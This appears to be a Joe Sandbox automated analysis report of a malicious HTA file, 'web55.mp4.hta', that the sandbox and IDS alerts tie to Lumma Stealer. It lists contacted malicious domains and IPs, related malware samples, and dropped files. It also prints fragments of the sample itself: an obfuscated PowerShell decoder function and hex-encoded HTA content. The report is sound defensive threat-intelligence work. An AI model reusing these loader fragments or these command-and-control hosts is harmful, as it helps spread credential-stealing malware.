https://contoso.com/Icon	powershell.exe, 0000000D.00000002.2173513151.0000000005B3E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://defaultcontainer/Assaac;component/MainWindow.xaml	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://defaultcontainer/Assaac;component/Picture/pic_tiz.ico	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore6LR	powershell.exe, 0000000A.00000002.1324265227.0000000005346000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.m	powershell.exe, 0000000C.00000002.1318983067.0000000006E41000.00000004.00000020.00020000.00000000.sdmp	false		high
http://foo/bar/mainwindow.baml	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://web.klipdywoziy.shop	powershell.exe, 0000000D.00000002.2173513151.0000000004C27000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://foo/MainWindow.xaml	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/app.xaml	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bigadcompany.com/L_	powershell.exe, 00000013.00000002.3705156170.00000000057F0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.microsoftJn9	powershell.exe, 00000007.00000002.3776275081.0000000006DFC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://foo/Picture/img_cake.png	2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, 00000014.00000002.3706098703.0000026A583E1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.112.1	quinceisoz.cam	United States	13335	CLOUDFLARENETUS	true
192.250.235.30	bigadcompany.com	United States	36454	CNSV-LLCUS	false
188.114.97.3	web.klipdywoziy.shop	European Union	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585911
Start date and time:	2025-01-08 13:54:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	web55.mp4.hta
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winHTA@18/12@3/3
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Successful, ratio: 92% Number of executed functions: 168 Number of non-executed functions: 66
Cookbook Comments:	Found application associated with file extension: .hta Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 184.28.90.27, 13.107.246.45, 52.149.20.212
Excluded domains from analysis (whitelisted): fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe, PID 6680 because it is empty
Execution Graph export aborted for target mshta.exe, PID 6976 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7324 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7476 because it is empty
Execution Graph export aborted for target powershell.exe, PID 7604 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:55:04	API Interceptor	129x Sleep call for process: powershell.exe modified
09:49:53	API Interceptor	11255x Sleep call for process: mshta.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.112.1	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	beammp.com/phpmyadmin/
188.114.97.3	GTA5-elamigos.exe	Get hash	malicious	Esquele Stealer	Browse	/api/get/dll
	DHL DOCS 2-0106-25.exe	Get hash	malicious	FormBook	Browse	www.uzshou.world/ricr/
	Order Inquiry.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	Payment Receipt.exe	Get hash	malicious	FormBook	Browse	www.cifasnc.info/8rr3/
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNSV-LLCUS	https://www.google.co.uk/url?q=2RUDu&rct=2RUDu&sa=t&esrc=2RUDu&source=&cd=2RUDu&uact=&url=amp%2F%63%6F%64%65%76%69%72%6F%2E%63%6F%6D%2F%2E%6A%61%2F#zFqKgE-SUREJACKdm1hbnRocmlwcmFnYWRhQG1vbnRyb3NlLWVudi5jb20=	Get hash	malicious	Unknown	Browse	192.250.231.230
	z1PO7311145.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.250.231.25
	Quotation.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.250.231.25
	z64BLPL.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	192.250.231.25
	F#U0130YAT TEKL#U0130F#U0130-2400.exe	Get hash	malicious	AgentTesla	Browse	192.250.227.28
	https://sesworld.com.au:443/it/mount/	Get hash	malicious	Unknown	Browse	192.250.235.25
	https://hmchive.com/?hcv=bGFldGl0aWEucGF0cnktYmFsYXRAc3VlZHp1Y2tlcmdyb3VwLmNvbS0tLS1DYXJsb3MgR2FpdMOhbg==	Get hash	malicious	Unknown	Browse	192.250.227.21
	z27PEDIDOSDECOTIZACI__N___s__x__l__x___.exe	Get hash	malicious	FormBook	Browse	192.250.231.28
	https://sgsconsulting.com/	Get hash	malicious	Unknown	Browse	192.250.227.23
	https://sgsconsulting.com/	Get hash	malicious	Unknown	Browse	192.250.227.23
CLOUDFLARENETUS	Rgr8LJz.exe	Get hash	malicious	LummaC	Browse	104.21.4.114
	06012025_1416_bombastic.hta	Get hash	malicious	Branchlock Obfuscator	Browse	172.64.41.3
	malw.hta	Get hash	malicious	Unknown	Browse	162.159.61.3
	PO-000172483 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.67.131.144
	http://www.hillviewlodge.hotelrent.top	Get hash	malicious	Unknown	Browse	104.18.86.42
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	random.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Q1 Statements.html	Get hash	malicious	Unknown	Browse	104.18.95.41
CLOUDFLARENETUS	Rgr8LJz.exe	Get hash	malicious	LummaC	Browse	104.21.4.114
	06012025_1416_bombastic.hta	Get hash	malicious	Branchlock Obfuscator	Browse	172.64.41.3
	malw.hta	Get hash	malicious	Unknown	Browse	162.159.61.3
	PO-000172483 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	172.67.131.144
	http://www.hillviewlodge.hotelrent.top	Get hash	malicious	Unknown	Browse	104.18.86.42
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	ungziped_file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	fatura098002.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.97.3
	random.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Q1 Statements.html	Get hash	malicious	Unknown	Browse	104.18.95.41

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	atomxml.ps1	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	188.114.97.3
	QUOTATION - RFQ2496_PO 08775622879.pdf(87kb).com.exe	Get hash	malicious	Quasar	Browse	188.114.97.3
	proforma invoice pdf.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	188.114.97.3
	174.exe	Get hash	malicious	Xmrig	Browse	188.114.97.3
	spreadmalware.exe	Get hash	malicious	XWorm	Browse	188.114.97.3
	invoice-1623385214.pdf.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	188.114.97.3
	invoice-1623385214 pdf.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	188.114.97.3
	0a0#U00a0.js	Get hash	malicious	PureLog Stealer, RHADAMANTHYS, zgRAT	Browse	188.114.97.3
	c2.hta	Get hash	malicious	Remcos	Browse	188.114.97.3
	http://xyft.zmdusdxj.ru	Get hash	malicious	Unknown	Browse	188.114.97.3
a0e9f5d64349fb13191bc781f81f42e1	Rgr8LJz.exe	Get hash	malicious	LummaC	Browse	104.21.112.1 192.250.235.30
	random.exe	Get hash	malicious	LummaC	Browse	104.21.112.1 192.250.235.30
	asd.exe	Get hash	malicious	LummaC	Browse	104.21.112.1 192.250.235.30
	wRhEMj1swo.exe	Get hash	malicious	Unknown	Browse	104.21.112.1 192.250.235.30
	chu4rWexSX.exe	Get hash	malicious	LummaC	Browse	104.21.112.1 192.250.235.30
	xHj1N8ylIf.exe	Get hash	malicious	LummaC	Browse	104.21.112.1 192.250.235.30
	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.112.1 192.250.235.30
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.112.1 192.250.235.30
	wRhEMj1swo.exe	Get hash	malicious	Unknown	Browse	104.21.112.1 192.250.235.30
	[UPD]Intel_Unit.2.1.exe	Get hash	malicious	LummaC	Browse	104.21.112.1 192.250.235.30

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emda2Ca6pZlbjvwRjdHPRhHgkjDt4iWN3yBGHVQ9smzdcU6CDQpOFP:J5opbjvwRjdvRCkjh4iUx5Uib4J
MD5:	C7C7584B53C7E1685BD19C0CAEBB4C44
SHA1:	4F9D95010E36559C4F2D15E0E9C20349A65783A6
SHA-256:	F5DBB7A566A3BD3A84DB8FC60784E768CC6753BACD192C6CD71098F1C0B4B01E
SHA-512:	281C50EBE3BAB2836D1C06B7DE27E320F8D43A11956165D40007BBFF3B6D78A3AC6094E6A7AB762F627E308C9A4E40139B8D0A347669C5D32B5AB3AA4EDEA9D7
Malicious:	false
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.773832331134527
Encrypted:	false
SSDEEP:	3:NlllulNll:NllU
MD5:	75C059F0C6543681C4ACFE36E7E99F37
SHA1:	79EE76A6673DEB72E024542E6F1682CE70643A0C
SHA-256:	0268CAE1D808221A37116A6E7C4B4C0AE945A0243AA0B466C680FBD27B14FAA4
SHA-512:	BE0A19696CDDA35684C2C60B8E5862224BC044932A43D800ACF32E7D22695A1290B97ED68BBAEC2FAAAAD9CAC04C718C541AF9A8291BDB3331F4EDC30875B21D
Malicious:	false
Preview:	@...e...................................".......................

C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	598528
Entropy (8bit):	6.812874091267208
Encrypted:	false
SSDEEP:	6144:FBEILp+5kVNLTnJ2CW9BpW2RW1JaZWRRnQzSOShqfg7GsICYBbB8Kav66Ze:FBzayBTnq9BpxPZW3nQzSOSo8kTYvve
MD5:	89470385FDDACB118DEB7A7941E6A666
SHA1:	1D7A5E3A9880732C81932ADBF5C1D7026ACACBEB
SHA-256:	B7ED6B15FC738C85BB85AD06C07F9A12C68D7C214E55F9514DFBC27895E0DCFA
SHA-512:	0CA6C4C724C3DBEE66DA7D0E216C2C77A2EC5FB5198488F0FE60B0551CB9DF7C59053F125C9739313B8F75339E11DEC76114893A840A8E31624D20FDA141718F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...t.)..........."...0.................. .....@..... .......................`............`...@......@............... ............................... ..T,..........................h...8............................................................ ..H............text........ ...................... ..`.rsrc...T,... ......................@..@........................................H.......l...\.......'....y...............................................0..8........(!....(.....s"...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...%.{....o#...}.....0..:........t......o$.....).o%...tU.....o&...u......,...o'.....o(..."..o)...*..0..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1eoqmpy0.oa1.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4d3eqhv2.agy.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4txoci3r.25c.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5yudwpi0.t0m.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jnltiwgc.jxn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lf5f5tpu.een.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojk1tuly.bxm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xyleciuq.zgb.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\a.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255
Entropy (8bit):	6.227352876666635
Encrypted:	false
SSDEEP:	6:AH6Bu0ejh8EqlL5emCr93TUvrieT1Hee3NIoYa4Nxe:AaxQ8tlAmE9DUvGQ36Fs
MD5:	060E53549E89074105F235CAED9C48B2
SHA1:	9CC1B80F99AB9A85BC47DFC5683EDDC474F2D35A
SHA-256:	CD32AD3AE8B045DB81E497D435A9D044B7112A331E1025B36D5C8718429F26CB
SHA-512:	93C3BB271994DAE51898C585781E92DE8B1748CF1DFA58FC44668F9B5BBB26919F74315CA9268A7DC7E1205493B0F685F17DD82AC5D73CFE9EFDFDF7127C90C8
Malicious:	false
Preview:	function KFbC($KyGYrUUD){..(($KyGYrUUD -split '(?<=\G..)'\|%{$EJup.SubString(3,100)[$_]}) -join '' -replace ".$")};$EJup ='iexmv{uN1iKFe"AOEuVy5"oY{6PlPa/:ab4IZ.Ob2q-7W;CdH\gxQw/MzJAjrt3@6B}DN%~TnU(}0Qss_h%hIfk)c9XL84#@RyS*oGp65095834410936432406096958'..

Static File Info

General

File type:	data
Entropy (8bit):	4.228063892590631
TrID:
File name:	web55.mp4.hta
File size:	1'316'307 bytes
MD5:	888e63b183a6eb78b5e205a1be94dadb
SHA1:	a7561a7bd2aec16f4aa414b4427767bd071adbf1
SHA256:	1fd2a20e4495bd158b7572dd2b9fa6ab69d9c129e630cdc26bf8f26850a99100
SHA512:	d59debaecadf7142ff9d11a80b5a05ced73f815fc474598898a65a1e774773905d154a2886656b5fc7aa9858d547ceb107c29b36a6a15b3cbb0d46dfab61de6a
SSDEEP:	12288:arQXzUD9ND9YZH9FD99+984brzSrQLD9Krp5h:arQXzUfmZ/nj4brzSrQLcrp5h
TLSH:	0755A34A37724226D9799670DDC28B283535FDC84B87839A86CCB23529572F83EC25FD
File Content Preview:	66R75a6et63u74A69Z6fz6et20y6cI44s72k77w28D4dg4dq4bD68M79J6dP29Q7bd76g61o72X20z64J77n59z7aO6am58c3dQ20w27H27Y3bq66c6fn72N20S28c76c61h72T20b6fO6dd52R57v62m70s20K3dx20i30o3bu6fF6dX52B57P62M70u20j3cW20Q4dU4dz4bw68I79z6da2eY6cv65w6eo67A74z68U3bv20l6ff6dV52D57c

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-08T13:56:33.726180+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49977	104.21.112.1	443	TCP
2025-01-08T13:56:34.172790+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49977	104.21.112.1	443	TCP
2025-01-08T13:56:34.172790+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49977	104.21.112.1	443	TCP
2025-01-08T13:56:34.665709+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49978	104.21.112.1	443	TCP
2025-01-08T13:56:35.165753+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49978	104.21.112.1	443	TCP
2025-01-08T13:56:35.165753+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49978	104.21.112.1	443	TCP
2025-01-08T13:56:35.840011+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49979	104.21.112.1	443	TCP
2025-01-08T13:56:36.678110+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49979	104.21.112.1	443	TCP
2025-01-08T13:56:37.183158+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49980	104.21.112.1	443	TCP
2025-01-08T13:56:38.231975+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49981	104.21.112.1	443	TCP
2025-01-08T13:56:39.557861+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49982	104.21.112.1	443	TCP
2025-01-08T13:56:40.808788+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49983	104.21.112.1	443	TCP
2025-01-08T13:56:42.999576+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49984	104.21.112.1	443	TCP
2025-01-08T13:56:43.462643+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49984	104.21.112.1	443	TCP
2025-01-08T13:56:44.401211+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.7	49985	192.250.235.30	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 8, 2025 13:55:07.929997921 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:07.930041075 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:07.930123091 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:07.939551115 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:07.939565897 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.444880009 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.444961071 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:08.447943926 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:08.447951078 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.448226929 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.463814020 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:08.507335901 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.842200041 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.842252016 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.842278957 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.842308044 CET	443	49706	188.114.97.3	192.168.2.7
Jan 8, 2025 13:55:08.842322111 CET	49706	443	192.168.2.7	188.114.97.3
Jan 8, 2025 13:55:08.842339993 CET	443	49706	188.114.97.3	192.168.2.7
